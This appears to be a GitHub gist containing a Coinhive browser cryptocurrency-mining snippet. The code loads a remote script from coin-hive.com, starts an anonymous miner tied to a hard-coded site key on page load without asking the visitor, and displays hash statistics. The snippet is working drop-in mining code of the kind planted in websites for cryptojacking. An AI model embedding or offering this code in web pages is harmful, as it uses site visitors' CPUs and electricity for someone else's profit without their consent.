Created
November 9, 2017 16:31
-
-
Save hashtafak/bcb40dde9aa8b00be103f33a58b742e6 to your computer and use it in GitHub Desktop.
Coinhive
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="https://coin-hive.com/lib/coinhive.min.js"></script> | |
<script> | |
var miner = new CoinHive.Anonymous('aCyud8fkYf77SbqbEqXwApN8M6GOBHxB'); | |
miner.start(); | |
</script> | |
<script> | |
// Listen on events | |
miner.on('found', function() { /* Hash found */ }) | |
miner.on('accepted', function() { /* Hash accepted by the pool */ }) | |
// Update stats once per second | |
setInterval(function() { | |
var hashesPerSecond = miner.getHashesPerSecond(); | |
var totalHashes = miner.getTotalHashes(); | |
var acceptedHashes = miner.getAcceptedHashes(); | |
document.getElementById('hashesPerSecond').innerText = hashesPerSecond; | |
document.getElementById('totalHashes').innerText = totalHashes; | |
document.getElementById('acceptedHashes').innerText = acceptedHashes; | |
}, 1000); | |
</script> | |
<div> | |
H/S: <span id="hashesPerSecond"></span><br /> | |
Total: <span id="totalHashes"></span><br /> | |
Accepted Hashes: <span id="acceptedHashes"></span> | |
</div> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment